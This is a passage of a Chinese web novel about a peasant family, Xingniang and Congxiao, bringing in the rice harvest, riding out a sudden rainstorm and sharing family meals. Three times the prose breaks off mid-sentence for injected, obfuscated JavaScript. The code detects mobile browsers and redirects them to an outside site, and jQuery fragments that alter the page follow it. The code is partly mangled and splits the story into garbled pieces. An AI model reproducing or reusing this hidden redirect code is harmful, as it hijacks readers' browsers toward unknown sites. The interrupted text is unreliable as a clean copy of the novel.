杏娘摘下葫芦喝一口水后递给丛孝，捏着草帽扇风，发髻乱成一团，鬓边湿发粘在脸颊两侧。 丛孝亦是满头满脸的汗水，盖了布巾在脸上猛擦。 回到家的杏娘打一桶井水倒进木盆，擦干净手脸，重新梳头发挽髻。收拾清爽后提着一包点心往六太爷家走去。 “这是当家的从县里带回来的吃食，我挑了些软烂好克化的送来给六太爷尝尝。”杏娘把点心递给六太奶奶，上次闹了个大乌龙，这次她谨慎多了，拿来的都是病人能咬得动的。 王氏接过油纸包，笑得慈爱，“你们两口子都是有心人，我替老头子多谢你们。” 翠枝今天也回娘家看爹娘，她挽住杏娘的胳膊，亲热地道谢：“多谢七嫂，七哥什么时候回来的？” “昨晚上回来的，早上又去了田里，他说傍晚才能过来看太爷。六太爷怎么样了，身子可好些了？” “有劳他惦记。”王氏领着她来到堂屋走道，指着躺椅上消瘦的身影，“呐，每天就着一点南风养养神，人看着一会糊涂一会清醒。我也不求他别的，只要能吃下饭，能睡得着，我早晚三炷香给菩萨点上。” “慢慢来，您别着急，总会好的。”杏娘也不知道怎么安慰，苍白的言语在冰冷的现实面前显得格外无力。 翠枝走过去坐在旁边的凳子上，轻轻抚摸他爹的手掌。 老人干枯的手背呈现黄褐色，松松垮垮一层皮包裹着骨头，指甲毫无血色。 一阵风吹过，老人睁开惺忪的睡眼，眼神又是清亮的，“枝儿回来了，要你娘做两个你喜欢吃的好菜。” 翠枝柔声笑道：“我爱吃的菜，您也爱吃，您老要多吃点才行。” “唔……好，我好着呢，你不要担心，别乱花银子，我不用吃药了。” “您放心。”翠枝给他掖了掖被单，“我节省得很，没乱花银子，等忙完双抢，我再过来看您。您可一定要好好的啊，到时我给您带好吃的，我现在灶上手艺也很好了，等我得闲了就过来给您做饭吃。” 六太爷笑了笑，笑容柔软，没有说话，看着她的目光是那样温和，如同缱绻的月光，盛满了眷念。他拍了拍女儿的手，闭上眼睛休憩。 王氏站在堂屋中央没动，也不说话，静静地看着眼前的一幕。她掩饰地低头用袖子擦眼角，杏娘挽了她的手给与无声安慰。 …… 正是抢收的时节，稻谷成熟的格外快，早上看还是青色的杆，晚上就开始泛黄。 火热的太阳当空喷射滚烫的光芒，田里热得似个大火炉，闷热的潮气把人裹得密不透风。 杏娘全身上下包得严严实实，干枯的稻杆刮在皮肤上可不是开玩笑的，芒屑和着汗水粘在身上，好像上千根针在刺挠。还不能用手抓挠，越挠越痒，即便洗完澡也只能缓解，皮肤娇嫩的妇人能抓出条条红痕。 抓心挠肺地难受，在睡梦中也不得安生，困得眼睛都睁不开了还在用手使劲抓。吃过苦头的妇人都穿上长裤长袖，扎紧袖口，脖子上围着布巾，头上戴草帽。 身上的衣物被汗水湿透，又被太阳烤干，循环往复，到后面都结了一层硬壳。 丰收固然是喜悦的，金黄色的稻穗在农人眼里比金子更加璀璨。这是全家劳作半年的成果，是娃娃们填饱肚子的口粮，是上交官府的赋税。 为此付出的艰辛也是无可比拟的，杏娘弯腰快速挥舞镰刀，额头的汗水顺着脸颊往下流。在眉梢、鼻尖、下巴上凝成珠，一滴一滴掉下来，嘴里尝到咸湿的味道。 一刻钟后，她的双腿直打颤，眼前一阵阵发晕，耳旁响起“嗡嗡”的轰鸣声，又似乎听到风吹稻穗的“沙沙”声。 杏娘直起身往旁走了几步，一屁股坐在田埂上喘气，眼前的空气仿若实质，在光晕里扭曲变形。她热得满脸通红，口鼻似乎被一层无形的湿布缠绕、勒紧，有风吹过来，又被层层叠叠的稻穗阻拦。 丛孝走过来坐到她身旁，摘了草帽给她扇风，解下葫芦摇晃，空荡荡没有一点声音。这一上午水早喝干了，提起田埂上的水壶，也是落了两滴水就没了。 男人苦笑一声，干哑着嗓子道：“你先去那边的树荫里躲下凉，可别中暑了。” 杏娘点头，有气无力站起身，“你把爹喊来歇会，从半夜起来一直忙到现在，铁打的人也受不住。估摸着叶儿就要送饭来了，咱们先躺会，不差这一星半点儿的拼命。” 不到卯时就到田里割稻谷，早饭和晌午饭都是家里孩子送到田里来，刨完饭填饱肚子接着开干。 正是收成的当头，别看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457613|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下太阳能把人晒化，谁知道下一刻会不会风起云涌。熟透的稻穗淋了雨再一闷，没两天就发芽不能吃了，半年辛劳化为乌有。 每个村的水沟边上总是长了一排高大的树木，杨树、苦楝树或枫杨，繁茂的枝杈在河坡上留下一片阴凉。被暑气裹挟的人们在疲惫不堪时，借着这阴影养精蓄锐，为下午的劳作储蓄力量。 老天爷还是疼人的，给予收获酷暑的同时，也赐予猛烈的南风。风把树叶吹得哗啦啦响，树荫下的人昏昏欲睡。 正当杏娘被风吹得热气全无，全身舒坦，眼睛半睁半闭时，丛孝爷俩走了过来。 “我的个老天爷，呼……怎么感觉今年比往年更热了呢。” 丛三老爷笑话他：“你每年都这么说，哪有什么热不热的，年年都是如此，你就是懒得干活。” “天地良心。”丛孝喊冤，一屁股坐在地上不想动弹，“我什么时候偷过懒，今年的太阳确实太辣了，那田里热得跟灶膛有什么区别，灶膛还没这么潮。” 旁边树荫下有邻人接口：“要我说还是热点好，热才有太阳啊，收谷子就怕凉快，这一下雨全都完犊子。我不怕热，有收成热算什么。” 众人轻笑，有人打趣他：“你不怕热你躲这里来做什么，你大太阳底下躺着去啊，可见还是怕热的嘛。” 人群愈发笑得开怀，几句善意的调侃冲淡了劳累的辛苦，从心底发出的笑声是那样畅快。 一声突兀的童音打破笑语：“爹、娘，吃饭了。” 杏娘转头，几个半大孩子结伴过来送饭，青叶提了一个大篮子走在中间，丛孝赶忙起身去接。 篮子里有四碗菜，分别是清炒红薯藤、炒炸胡椒、青椒煎蛋和一碗蒸茄子青椒。这般做法的茄子杏娘倒是爱吃。 用大铁锅煮米饭时，一等水干放入清洗干净的青椒茄子焖，饭熟后捡到碗里用筷子捣烂，舀一勺酱凉拌均匀即可。 对厨艺不好的人来说这道菜很友好，非常适合陈氏这般水平的人，也适合热天给田里送的饭菜。流汗多了吃酱厉害，喜欢吃重口的，庄户人家不知道具体缘由，多年的劳作生涯却教会了他们生存的智慧。 四个菜都是满满一大碗，篮子里还有一大盆米饭，农忙时饭菜都是足足的，这时候可不能吝啬，一壶凉茶，没有汤。有汤杏娘也是不吃的，那才叫真正的馊水，她宁愿就着茶水吃。 杏娘快手快脚盛了三碗米饭，篮子里已经没有碗了，“叶儿，你是不是还没有吃饭？你用碗吃，让你爹用盆。” 青叶摇头拒绝：“娘，你们吃，我还不饿，奶奶给我留了锅巴，我要回去吃锅巴饭。” “叶儿喜欢吃锅巴饭啊，你爹也喜欢，明儿让你奶奶多煮点锅巴。”丛孝扒一大口饭，笑着说。 杏娘白了她一眼，“别听你爹瞎说，一锅饭就一张锅巴，你们自个吃，不用拿来，爹娘和爷爷爱吃米饭。” 青叶依恋地靠着娘亲，拿草帽给她扇风。 杏娘夹一筷子茄子，软烂咸辣，不忘叮嘱女儿：“等太阳快落山了再过来捆稻子，别来太早了，免得热坏身子，把两个弟弟都带来，他们也要做点事。” “知道了，娘。”青叶脆声应答。 饭后收拾好碗筷，青叶提上篮子戴了草帽往家走。丛家三个大人吃饱喝足犯困，正好在树荫下眯半个时辰。 这个时候也没甚男女大防的说法了，在极端的体力劳动面前，一切都是浮云。农人只在乎想方设法恢复体力，何况都是一家两口子在一起，更不用在意了。 55. 第 55 章 傍晚的余晖给天边镀上一层金黄，跟稻谷一个颜色，火红的晚霞占据了半壁江山，明儿是个好天气，老汉们心里头乐呵着呢。 青叶、青皮两姐弟通力合作拉长一根草要子，平铺在稻田间隙，收拢稻茬上晾晒了一天的稻谷，抱起来放在要子中间。 放满一大堆后，铺开另一根草要子，小孩子一次抱得少，慢吞吞干活也没人催。一个不注意，田里全是高高耸起的谷堆，别看人小，时间长了也有看头。 青叶站在一行散落的稻谷前，边往前走边收拢杆子，在尽头处聚成一个小堆。她直起身吐口气，又弯腰伸手去抱，咦？手上一凉，摸到一个冰冷的东西。 青叶疑惑抓起来一看，“啊……蛇……”尖锐的童音刺破天际，在辽阔的田野久久回荡，惹来不远处喝水的妇人哈哈大笑。 青叶如碰到了火星子飞快扔了出去，细长的水蛇蜿蜒几下没入草丛不见了身影。她心有余悸地站在原地不敢动，手上似乎还残留着那股凉飕飕的触感，怎么甩都甩不掉。 青果更是个看热闹不嫌事大的，嘲笑就没停过：“哈哈，水蛇有什么好怕的，姐姐是个胆小鬼。”边笑边做鬼脸。 青叶恼火地追着他要打，小家伙腿脚灵活，早飞奔到另一块田里。 杏娘笑着安慰女儿：“没事，不怕，水蛇不咬人，下回注意点，蛇喜欢躲在稻子下面的阴凉处。”又呵斥小儿子消停点，别欠收拾。 做了好一会的心理建设，青叶继续抱稻谷，只不过这回谨慎多了，抱起来之前先翻转一圈，看看底下没东西了才敢动手。 青果则是跑回来，提着一个小篮子继续捡遗落的稻穗，他是个不长性的，捡一会就牢牢盯着草尖上的蜻蜓。撇下篮子扑过去，蜻蜓飞走了他再回来接着捡，大人也不呵斥，让他半玩耍半干活。 三个大人还在割谷子，“刷刷”的镰刀声在渐渐停歇的风里格外响亮。从三老爷抬头看看天色，走到田埂边把镰刀放到水壶旁，开始捆扎稻谷。 把小家伙们抱的两堆谷子合成一堆，拉起两头的绳子，曲起一条腿使劲往下按压，拽紧绳子扭成一团后塞紧，一捆稻谷就扎好了。 白天割的稻谷捆了大半时，丛孝也放下镰刀拿起冲担，两头各插一捆挑到停在路上的板车上，直到把板车堆满。 牵起在河边吃草的水牛，按上枷柦拉起缰绳一抖擞，吆喝一声“吁”。笨重的水牛昂起头颅，迈开蹄子往前走，丛孝双手赶紧掌住板车把手。 牛车停在家门口的场地，丛孝卸下稻谷，稻穗朝里杆子朝外摆成方块，板车卸空后再拉起缰绳返回稻田。 最后一趟板车装满后，白日里割的谷子都已捆扎好拉回家，杏娘也已放下镰刀跟孩子们一起捡稻穗。 丛孝吆喝一声，娘几个把手里零散的稻杆放在板车上，水壶、镰刀、冲担等也放上去，跟在车后面走回家。 此时天黑得看不清人脸，好在今儿晚上有月亮，明晃晃的玉盘悬挂在半空，清辉的月光洒向这片田野。 众人的脸沐浴在这清冷的月色中，白日的疲惫似乎化成缕缕青烟缓缓消散。孩童纵情在车后嬉笑打闹，永远不知倦怠为何物，大人们边走边闲聊，土路上一片欢声笑语。 “还在割呢，忙了一天了，该回家吃饭了。” “趁着月亮多割几把，白天晒得人头晕，割不了多少。还是这会有劲，晌午饭吃得晚，现下还不饿，再多割一会。”仍在田里忙碌的汉子站起身擦汗。 丛三老爷搭腔：“看天色今儿晚上应是个晴天，不会下雨，割完了就这么摊开晾着也没事，明儿晒一天正好捆起来。” “可不是，难得的好天气，错过可惜了，加把劲把这块田割完回家。” 牛车“哒哒”声远去，叉腰的男人重新弯下背脊挥舞镰刀，就着月色忙碌。 …… 油灯下一家人坐在饭桌旁唏哩呼噜吃饭，吃得狼吞虎咽，盘子里的菜以惊人的速度消失，食物才是消解辛劳的唯一有效方式。 “明儿再割一天，我就把门口的场地压出来。”丛三老爷咽下一口饭，举着筷子道。 “嗯，剩下的也不多了，我俩正好能应付，您先把谷子碾出来，免得突然下急雨。”丛孝埋头猛扒饭，吃得抬头的功夫都没有，“想不到田少有田少的好处，还不到往年的一半时辰，稻谷就快割完了，可真快啊！” 杏娘停下筷子白了他一眼，“哼！”一声冷哼震耳欲聋——饭桌上猛地一静，接着只剩下碗筷碰撞咀嚼的声音。 片刻后，丛孝轻声提醒大儿子：“青皮，把碗端起来吃，不要放在桌上，出去会被人说没教养的，知道吗？” 青皮乖巧应好，小手把碗端起来。 杏娘这回没吭声，饭桌又恢复宁静。 天还蒙蒙亮，丛三老爷往门前场地泼了几桶水，干硬的土壳逐渐绵软。长年累月闲置在巷子里的石磙这时派上了用场，给水牛套上缰绳，左手牵撇绳右手执鞭。 轻斥一声，水牛缓慢抬起蹄子。 人站在中央，石磙大头在外，小头在内，跟在水牛后面缓缓转动，一圈一圈地碾轧。 场地上被人、畜下雨时踩出的凹凸不平的脚印，掀起的土坷垃，板车压过的车轴痕迹，一一被碾平，如同烫平衣物上的褶皱。 伴随着石磙“吱呀吱呀”的滚动，场地变得平整、光滑，好像一面镜子，看不见任何凸起坎坷。 丛三老爷满意点头，正转头察看是否有漏网之鱼时，突然瞄到水牛甩动尾巴，屁股鼓胀胀的往外喷气。 心下一抖，急慌慌解开缰绳把牛赶到河边，还不等到坡上，一大泡牛屎就喷涌而出，大坨大坨往下掉，冒起一团热气。 丛三老爷嫌弃地皱眉闭息，“老伙计，一大早上的火气就这般大，你昨儿晚上是吃了多少草料啊？”却是松了口气，好在反应及时没有拉在场地上，要不然这一早上白忙活。 碾完场子略晾干，天热干得快，此时太阳才刚升起，白色的日光初露锋芒。 丛三老爷把昨天晚上堆好的稻谷一捆捆搬下来撒开平铺在场地，先晾晒半个上午，他老人家拿起镰刀去屋后的田埂上割草。 这几天不光人辛苦，水牛更是受罪，接下来更是离不得它，需得吃些好草料养养精神。在伺候水牛这方面，丛三老爷从不含糊，比对他自个还上心。 将近晌午时又把牛拉来轧场，水牛转了一圈又一圈，石磙也在稻子上滚动了一轮又一轮。直到整个稻穗完全脱落，稻杆变得轻飘飘的才罢休。 丛三老爷用叉子抖落稻杆掀在一旁堆成草垛，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457614|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是宝贝，烧火煮饭都靠它。清理干净稻杆，用木耙子来回薅，最后再用竹扫把略一遍，半长的、细碎的稻草全被清出来。 此时场地上已然只剩下金黄的稻谷，含有大量碎屑、浮尘。 丛三老爷嘱咐小孙女：“乖乖坐在堂屋门口赶麻雀，粮食要是被它们偷吃光了，咱们就要饿肚皮。隔一会翻动一下稻谷，爷爷要去忙别的事情。” 青叶严肃点头，她是个较真的孩子，让她看着谷子别被麻雀吃了，她就寸步不离地守在小板凳上。旁边一根长长的竹竿，一有麻雀停下来就上下左右拍打，嘴里大声呵斥。 此时的麻雀也是贼精贼精的，似是知晓眼下正是丰收的季节，成群结队候在场地前的树上。稍不注意就飞下来啄食谷物，有时用竿子且赶不走，它们的胆子也被训练大了，非得人跑过去一阵乱轰。 捉是别想捉到它们，只得捉迷藏似的费力地跑来跑去，家里的孩子们就被赋予这项任务。 每隔半个时辰，青叶就光着脚丫子走去翻动稻谷。大人可以用木耙子来回搅动，孩童可拿不动那玩意，只得赤脚上阵。 从最边沿开始，双脚并拢，脚底板紧贴地面，穿过暴晒的谷子。直直地走到尽头再返回，脚底下的地面滚烫，稻谷从脚背上拂过，酥酥麻麻的。这种感觉有点麻，有点痒，说不上难受，但是也不会舒服。 青叶做事认真细致，走的线直直的且一行紧挨着一行，排的密密麻麻，可漂亮了。如隔壁丛五老爷家的两小子，那可真是笔走龙蛇，洒脱豪迈，转两个圈完事。 临近太阳落山，昏黄的光线把人的影子拉成长长的一条，投到地上伸出老远。 青叶跟青皮两个扶着推板的把手，丛三老爷在前面拉绳子，推板所过之处稻谷堆积，直至聚成小山推不动，此时正好积到正中央。 抽出推板，爷孙三个返回边缘处再拉，丛三老爷嘱咐两个孙辈：“推板不要竖得太直，稍微往后靠一点，紧贴地面扶稳了，不能蹦起来，知道吗？” “知道。”异口同声倒是很响亮。 丛三老爷满意点头，正想再夸两句，一张嘴巴含了满口的灰尘，呛进喉咙剧烈咳嗽起来，“咳……咳……” 原来是陈氏拿了扫帚在他们推过后的地面猛扫，灰尘漫天飞舞，细屑纷纷扬扬，浓烈的粉尘迫得两个孩子闭眼捂嘴落荒而逃。 丛三老爷也丢盔弃甲，“咳……你说你着的什么急，等我们堆好了再扫不迟，咳……合该用木锨才是，怎么扫上了？” 陈氏不满地瞪着他，一把将扫帚掼到地上，“好心帮你一把还不领情，我爱用什么就用什么。” 丛三老爷无奈摇头，不想跟老婆子歪缠，好容易等灰尘落地，招手把两个孩子叫来继续扶推板。 等场地晾晒的稻谷堆成一座小山，丛三老爷就着微风扬场。人站在上风口，铲一木锨谷子朝着天空高高扬起，稻谷重重落下，碎屑飘落下方。 这才是真正的满天飘尘，除了丛三老爷，周围的人走个干净。不一会儿，丛三老爷眉毛、鼻子、嘴巴一圈都是黑灰，整个人像从灰堆里打了个滚的咸鸭蛋。 扬过尘的稻子用簸箕铲了装入麻袋封口，再搬到堂屋码好，丛三老爷才长舒一口气，一直悬在喉咙口的心放下一半，这下总归妥当了。 56. 第 56 章 丛孝家田少，今儿差不多能割完全部谷子，两口子正在田里挥洒汗水。 今天天气也是邪门，按说热天温度确实是高，但通常会伴着凉爽的呼呼风声。 偏偏今日一丝风也没有，树上的叶子纹丝不动，萎靡不振地将落未落。稻穗顶上的枯叶尖尖地翘起，偶一晃动，却是农人在挥舞镰刀。 只有树上的知了歇斯底里地拼命嚎叫，仿佛用尽生命最后的倔强来宣誓主权，告知世人这是个鲜活的世道。 杏娘直起身大口喝水，“咕噜咕噜”一阵响，葫芦里的水少了一大半，“今儿这天不对劲啊，这也太热了吧，一丝风都没有。” 她抬头望天，猛烈的阳光刺得人睁不开眼睛，这也不像要下雨的样子啊？ 丛孝坐在她旁边扇风，“谁说不是，这鬼天气风都停了，这叫人怎么活？” 要不还是说农人辛苦呢，不但靠天吃饭，还要跟老天爷抢粮食。收成时节真是时刻紧绷着一口气不能松懈分毫，就怕出个意外全打了水漂。 丛孝心疼媳妇，扇风的力道大了点，“要不你先回家歇着去，剩下的地不多了，我一个人也能割完，大不了晚上迟点回去。” 杏娘毫不迟疑拒绝：“就差临门最后一脚了，实在不想拖到明天。况且我回去了也闲不了，还不如割完捆了拉回家，谷子长在田里总是不那么叫人放心。” 丛孝擦拭额头的汗水，笑了笑没说话，听媳妇的就是了。 此时家里的丛三老爷望着头顶碧蓝如湖面的天空，也发出跟儿媳一样的感慨：这个天儿不对啊，一朵云彩都没有，天空蓝得好像下一刻就要裂出条缝，风停了，周遭的一切静止得不似活物。 丛三老爷是个谨慎的性子，一辈子循规蹈矩不敢越雷池半步，一旦心里头犯嘀咕，行事就半分不敢懈怠，时刻紧悬着一颗心。 今天轧场完晾晒了不到一个时辰，他就急忙开始收谷子。因还是半干带点湿气，丛三老爷全部用簸箕铲了倒进箩筐，若明天还是晴天再倒出来接着晒。 少了扬尘装袋的繁琐，倒进筐里显然简单得多。他的动作利索，一刻钟后，家门口的场地不剩一粒稻谷，空荡的地面只剩一道道杂乱无章的灰尘印记。 “你发的什么疯，谷子不是晒得好好的么，你怎么给装起来了？”陈氏双手用力往上提箩筐，往前挪动几步停下来喘气，不满地看着老头子。 丛三老爷也不遑多让，边喘着粗气边抬头，“还是不晒了，我看这天邪门的紧，还是收到家里安心。” “我看就你最邪门，这么大的太阳挂在头顶看不见？他二伯父门口晒的谷子还好好摊着呢，就我陪你瞎折腾。”陈氏抱怨归抱怨，看老头子弯腰也低头抓箩筐。 一个筐装满稻谷，少说也有百十来斤，两个老人上了年岁扛不动，只能慢腾腾往家里挪动。好在就几步的距离，挪几下歇口气，倒也全搬进了家里。 丛三老爷了却心事，依旧跑去后院割草，左右水牛吃得多又不会撑死，草料多多益善。 太阳还斜斜地挂在西边半空，杏娘依旧在割最后剩下的一角稻谷，丛孝在旁边捆扎。今天割完也不晾晒了，没得还要拖拉，索性捆好拉回家晒。 突然，毫无预兆地刮过来一阵清风，起初绵软软吹得人心旷神怡，渐渐的稻穗开始左右摇摆。 丛孝心里“咯噔”一声，抬头看天，太阳好像飘过一片云彩，他加紧手里的动作。杏娘也察觉到异样，这风里似乎带了凉意，镰刀划拉地更加快了，几乎成了残影。 忙碌的农人都嗅到了异常，田里稻杆晾晒多的人家也顾不上割了，一股脑开始捆扎。要是真的下起雨来，长在土里的稻子还能撑几天，割了的谷穗是一刻也撑不了，被雨一泡那还得了。 杏娘勾掉最后一把稻谷，扔了镰刀抱稻杆，抱成堆后拉绳子捆绑。两口子来回在田里奔走，到后面飞快跑起来。 只见风越发大起来，吹得呼呼作响，而刚才还绚丽夺目的太阳不知不觉开始暗淡。 丛孝把最后一捆稻谷甩上板车，来不及歇口气去牵牛绳，安好枷柦抖绳索。杏娘恰好拿着水壶、镰刀等跑过来，他轻斥一声，掌住板车把手，杏娘在旁扶着稻谷往前推。 路边的大树剧烈摆动，张牙舞爪地树枝透出几分诡异，天空彻底阴沉，好像一块黑布陡然遮住了太阳。 田里到处是奔跑的农人，草帽被吹飞也顾不上，能捆起来的尽量捆绑，太多了捆不了的先抱成一堆垛起来。 走到半路碰到小跑过来的丛三老爷，忙走到板车另一边也扶着稻谷往前推。 丛孝挥舞鞭子抽了一把水牛，“啾”，牛蹄加快步子往前奔跑，它也知晓气氛不同往日，不敢像以前那般慢吞吞挪动步子。 到家时黄豆大的雨点子已打了下来，落在地上溅出尘土，空气里满是泥土夹带水汽特有的腥味。父子俩停稳板车往下卸稻谷，仍是稻穗朝里稻杆朝外堆成方形。 垄上不少人家都在抢收门前场地上晾晒的稻谷，人人恨不得多长出两双手来铲谷子，老人、小孩跑得飞起。 杏娘看一眼不远处丛二老爷的家门口，场地上还敞着大半的金黄色谷子，“我先去二伯父家帮忙，你摞好谷子也过来。”朝男人丢下一句话，不等他应声，她转身又冲入雨幕。 跑近了抢过丛凤手里的木锨，一锹一锹往箩筐铲稻谷，女孩手里一空，忙捡起一旁的簸箕往里扒。 丛孝父子俩码好稻谷，又在最上面盖了一层草席，忙完后也往这边跑来。 丛二奶奶小脚使不上力，拉着装满稻谷的箩筐往家门口拖，父子两个赶忙接手使力抬起来疾走。不一时又冲过来两、三个人影，竹扫帚、木锹、簸箕交相辉映，漫天的尘雾飘扬又被雨水打湿落下来。 雨越发大了，成片往下砸，狂风呼啸，电闪雷鸣，谷子已然湿透连同泥巴被铲入箩筐。众人被雨冲刷得睁不开眼睛，满头满脸的雨水，沉重的湿衣物牢牢贴在身上。 最后一铲谷子倒进框里，众人拿起工具冲进二奶奶家，此时方有空大喘气。 丛其“呸”一口吐掉嘴里的土沫，双手叉腰望着外头，“这个贼老天，说下就下，连给人喘个气的功夫都没有。” 丛家老四接口：“可不是，从太阳当空到雨落下来，刚过一刻钟吧，幸亏谷子都抢进来了，否则给这大雨一冲全流河里去。我们家说不得就要勒紧裤腰带过日子，今天多谢大伙帮忙。” 丛其摆手，“咱俩家墙挨着墙，不帮你家帮谁家。” 丛二奶奶一手提凉茶一手抱一摞碗过来，“劳烦大伙了，都来喝碗凉茶，坐下歇息一会。” 杏娘用布巾擦脸、脖子，擦完递给丛孝，“二伯娘，您别忙活了，我们这就回家去。” “怎不多坐一会，雨下得这般大，还是躲会儿雨吧！” 丛三老爷喝完水，把碗搁在桌上，交代二嫂：“这雨眼看着一时半会的停不了，我们就不耽搁了。你们家的谷子都淋了雨，现下也没法晒。我看不如摊开晾在堂屋里，免得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457615|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜里发了热冒芽，您自个考量一下，我们就先回去了。” 他二哥就是个典型的书呆子，四体不勤五谷不分的，跟他说了也是白说，还不如这个二嫂能担事。 众人说了几句话，纷纷冲进雨幕往家跑，左右衣物已经湿透，不如一口气跑回家洗澡换衣裳。 等杏娘换了干净衣裳坐在堂屋里擦头发时，屋外仍是倾盆大雨，哗啦啦往下泼，丝毫没有缓减的迹象。 屋子里漆黑一片，仿佛到了晚上，好似要点了油灯才看得清人脸。不时有闪电拉出一条亮光，照亮堂屋的一个角落。 头发擦得半干在头顶挽一个松松的发髻，杏娘去灶房看晚上要炒的菜。许是知道今天能割完稻谷，陈氏晚上准备的菜还挺多。 半个老南瓜、一碗小杂鱼、一条大白刁，加上坛子里的几样菜，足够做一桌丰盛的晚饭，正好庆祝谷子丰收。 杏娘挽起袖子给老南瓜削皮，今年南瓜结得多，口感甜糯细腻，用本地的话说就是吃起来很面，就是不好削皮。滑不溜秋又不好抓紧，厚实的皮紧绷绷的。 把洗干净的南瓜切成块放入灶后的小陶罐，米也淘洗干净倒进大铁锅，添上水，喊大女儿：“青叶，帮娘过来烧火煮饭。” “哎，好。”堂屋传来“蹬蹬”的脚步声。 杏娘拎起大白刁刮鱼鳞鱼鳃破肚，清洗干净切成块装盘备用。 小杂鱼处理起来比较麻烦，都是小指头长短，用大拇指刮掉鱼鳞，捏破鱼鳃挤出内脏。一小碗鱼弄完，腰酸背痛，骨头都麻了。 青叶算是烧饭的老手，开始用草把子接连不断的大火烧，锅里的水半干时转小火慢慢烘烤，贴着锅底的一层米饭慢慢变硬成一张锅巴。 把饭铲进木盆后，揭下厚厚的焦黄色锅巴，铁锅里光可鉴人不粘一粒米饭。先把饭煮熟再炒菜，等吃的时候温度正好不会烫。 大白刁蒸熟后浇上用早稻磨成的米粉调成的汤汁，鲜香扑鼻。小杂鱼先煎地两面焦黄，淋上用炸胡椒加水调的勾芡，盖上锅盖焖一会。 从坛子里捞出两条灌胡椒，多放点油煎得焦脆，最后再炒一个小青菜，满满一桌农家风味的小菜，色香味俱全，引人垂涎欲滴。 丛孝两眼放光地看着饭桌上的菜，“今天有炸胡椒糊小杂鱼啊，我做梦都想吃这个菜，一看见这鲜红的颜色就能配三碗米饭。” 杏娘好笑地调侃：“那你好好吃个够，等闲了天天煮给你吃。” 外面大雨如注，狂风呼啸，雷声在头顶轰隆隆作响，饭桌上点了一盏油灯，昏黄的光线照亮小小的灶房，一家子团团围着吃得喷香。 在这样水汽弥漫的时刻，炖菜吃起来也不觉得热，煎的外酥里嫩的小杂鱼都不用吐刺，嚼吧嚼吧全咽了。 三个孩子碗里只有小半碗饭，上面盖着一层锅巴，小糯米牙咬地“咯吱咯吱”响。馋地丛孝忍不住从大儿子碗里夹了一小块，塞进嘴里过过干瘾。 “嘿！今儿这雨下得可真好。”丛孝突然想起什么，兀自乐呵，“田里泡了水正好耕地啊，免得我累死累活地踩水，稻谷也割完了，这雨下得及时。” 丛三老爷不惯着他：“有本事你到外面去嚎一嗓子，你看会不会有人锤死你，咱家是田少赶得及时，别家可都还没割完呢。” “啊哈，那还是算了。”丛孝讪笑。 这样的夜晚也是格外的易眠，风声、雨声、雷电声，睡在稍显凉意的床上心里满足得像喝了蜜水，甜滋滋的，一会儿就沉入梦乡。 57. 第 57 章 这一场暴雨足下了大半个晚上，到凌晨时分雨势才渐渐减小，天亮时只剩了淅淅沥沥地往下掉雨线。 雨是停了，可一时半会的也没办法干活，河里的水暴涨，丛孝家门口的台阶都往上爬了两层。 田里泡满了水，没割完的稻子淹头搭脑杵在土里，沉甸甸的稻穗又往下坠了几分。这倒也无碍，只要打开放水口，太阳一出来晒上半个时辰也差不离了。 丛孝家门口的场地吸饱了水，土层软得像白生生的棉花，可以随意揉捏，也是要等晒得半干了才好碾场。 故而全垄上的男女老少这一大早上的竟然闲了下来，无事可做了。 嗯……倒也不能这么说，庄稼人眼里都是活，特别是农忙时，一旦不做事了简直抓心挠肺的难受，田里遗落的稻穗还没捡呢。 心有灵犀一般，全家老少一起出动去田里捡稻子，这个活儿简单，三岁的小儿都能干。别家都在着急忙慌地掏开放水口往沟里泄水，丛孝家的田堵得严严实实，巴不得泡软了好犁田。 水大也不怕，卷起裤腿光脚蹚，这大热天的别提多惬意了，凉飕飕的正好解暑。湿哒哒的稻穗浸满了水，重了不少，装满大半篮子就倒在田埂上。 杏娘俩母女正结伴寻找稻子，小儿子欢快的叫嚷声在不远处响起：“娘，快看啊，我会游水了，娘！” 母女两转过头，只见青果在齐膝的水里瞎扑腾，两只手拽着稻茬，平躺着身子，头颅高高仰起，双脚上下踢打，水花四溅——他竟把水田当池子游水了。 这也怪不得他，到大人膝盖的水对他来说能淹到小肚子，本就没让他下田，要他在田埂上玩耍。青果哪里呆得住，偷偷摸摸扯了田埂上的草茎站到水里，这下可好，衣物湿了大半。 这个高度的水对他来说正合适，既不会深到淹没脖子，也不会浅到只湿小腿肚。小崽子乐不可支拍打水面，不一会儿就玩出新花样，干脆睡在水面上打水。 